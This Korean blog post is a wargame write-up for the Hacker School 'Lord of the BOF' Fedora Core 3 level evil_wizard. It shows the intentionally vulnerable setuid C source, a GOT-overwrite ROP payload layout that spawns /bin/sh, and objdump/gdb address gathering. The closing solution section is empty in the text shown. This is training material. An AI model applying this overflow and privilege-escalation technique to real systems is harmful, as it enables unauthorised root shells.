둘둘리둘둘리둘둘리둘둘리둘둘리둘
[ Fedora Core 3] hell_fire -> evil_wizard 본문
/*
The Lord of the BOF : The Fellowship of the BOF
- evil_wizard
- Local BOF on Fedora Core 3
- hint : GOT overwriting
*/
// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
int length;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// for disturbance RET sleding
length = strlen(argv[1]);
// healing potion for you
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, argv[1]);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
// disturbance RET sleding
memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
printf("%s\n", buffer);
}
pop_pop_ret함수에서 POP-POP-RET 가젯을 제공해주고, setreuid,setregid도 제공해준다.
힌트와 PPR가젯 제공해준걸로 봐선 ROP로 GOT overwriting 하란것 같다.
plt와 got에 대해서 잘 모르면 요기 ->http://dool2ly.tistory.com/28
system("/bin/sh")만 실행 시켜주면 되겠다.
printf@got에 함수 system의 주소를 덮어 씌워버리고 printf@plt을 실행하면 printf가 아닌 system 함수가 호출 될 것이다.
궂이 이렇게 got를 바꿔가면서까지 printf를 호출 하려는 이유는 라이브러리 함수 주소에 NULL값이 포함되서 페이로드 구성에 어려움이 있기때문인듯
단순하게 설명하자면 아래와 같다.
strcpy( printf@got+1 , &system[1] );
strcpy( printf@got+2 , &system[2] );
strcpy( printf@got+3 , &system[3] );
strcpy( printf@got+4 , &system[4] );
printf("/bin/sh");
(1Byte씩 나눠서 복사하는 이유는 이 문제를 풀고나서 strcpy 함수의 원형
char *strcpy(char *dest, const char *src);을 잘 생각해보거나 이 문제의 답을 직접 디버깅해보면 알 수 있다.)
이 과정을 페이로드로 구성하면..
[ dummy | +
strcpy@plt | PPR | printf@got+0 | system[0] | +
strcpy@plt | PPR | printf@got+1 | system[1] | +
strcpy@plt | PPR | printf@got+2 | system[2] | +
strcpy@plt | PPR | printf@got+3 | system[3] | +
printf@plt | dummy 4 | &/bin/sh ]
이렇게 되겠다 RTL chaining과 매우 비슷비슷..
RTL chaining은 해커스쿨 FTZ level20(http://dool2ly.tistory.com/26)과
요기 -> (http://dool2ly.tistory.com/category/BOF)에 간략하게 설명 되어 있다.
그럼 이제 페이로드에 필요한 주소들을 주섬주섬 수집해보자.
//printf@plt, strcpy@plt 주소 주섬주섬..
[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizard | grep plt
Disassembly of section .plt:
080483e4 <strlen@plt-0x10>:
080483f4 <strlen@plt>:
08048404 <setregid@plt>:
08048414 <__libc_start_main@plt>:
08048424 <printf@plt>:
08048434 <memcpy@plt>:
08048444 <setreuid@plt>:
08048454 <exit@plt>:
08048464 <getegid@plt>:
08048474 <memset@plt>:
08048484 <geteuid@plt>:
08048494 <strcpy@plt>:
//printf@got 주소 주섬주섬 ..
(gdb) x/3i 0x08048424
0x8048424 <_init+88>: jmp ds:0x8049884
0x804842a <_init+94>: push 0x18
0x804842f <_init+99>: jmp 0x80483e4 <_init+24>
//POP-POP-RET 가젯 주섬주섬..
[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizar1 | egrep 'pop|ret'
80483e2: c3 ret
...
804851d: c3 ret
8048549: c3 ret
0804854c <pop_pop_ret>:
804854f: 58 pop %eax
8048550: 58 pop %eax
8048551: c3 ret
8048553: c3 ret
8048694: c3 ret
80486a6: 5b pop %ebx
당연하게 주소끝자리가 연결되있어야함! (예: 0x0804854f, 50, 51)
// system 주소 주섬주섬..
(gdb) p system
$1 = {<text variable, no debug info>} 0x7507c0 <system>
//system함수 내의 문자열 "/bin/sh"의 주소 찾기
[hell_fire@Fedora_1stFloor ~]$ cat ./t.c
#include <stdio.h>
int main(){
long sh = 0x007507c0;
while(memcmp((void *)sh,"/bin/sh",8))sh++;
printf("res:0x%x\n",sh);
return 0;
}
[hell_fire@Fedora_1stFloor ~]$ gcc ./t.c
[hell_fire@Fedora_1stFloor ~]$ ./a.out
res:0x833603
//system 주소를 1Byte단위로 끊어서 각각의 주소를 찾기
//c0 : 0x08048420
[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizar1 | grep c0 | head -3
804841f: e9 c0 ff ff ff jmp 80483e4 <_init+0x18>
80484c0: e8 4f ff ff ff call 8048414 <__libc_start_main@plt>
80484df: 85 c0 test %eax,%eax
[hell_fire@Fedora_1stFloor ~]$ objdump -s ./evil_wizar1 | grep 07 | head -3
8048148 03000000 0f000000 0d000000 07000000 ................
80482a8 745f5f00 6c696263 2e736f2e 36007374 t__.libc.so.6.st
80482b8 72637079 00707269 6e746600 67657465 rcpy.printf.gete
필요한 주소들과 페이로드까지 다 갖춰졌다.
--풀이--
'War game > 해커 스쿨 FC3' 카테고리의 다른 글
[ Fedora Core 3 ] dark_stone -> Clear !! (0) | 2015.08.23 |
---|---|
[ Fedora Core 3] dark_eyes -> hell_fire (0) | 2015.08.23 |
[Fedora Core 3] iron_golem -> dark_eyes (0) | 2015.08.22 |
[Fedora Core 3] gate -> iron_golem (0) | 2015.08.22 |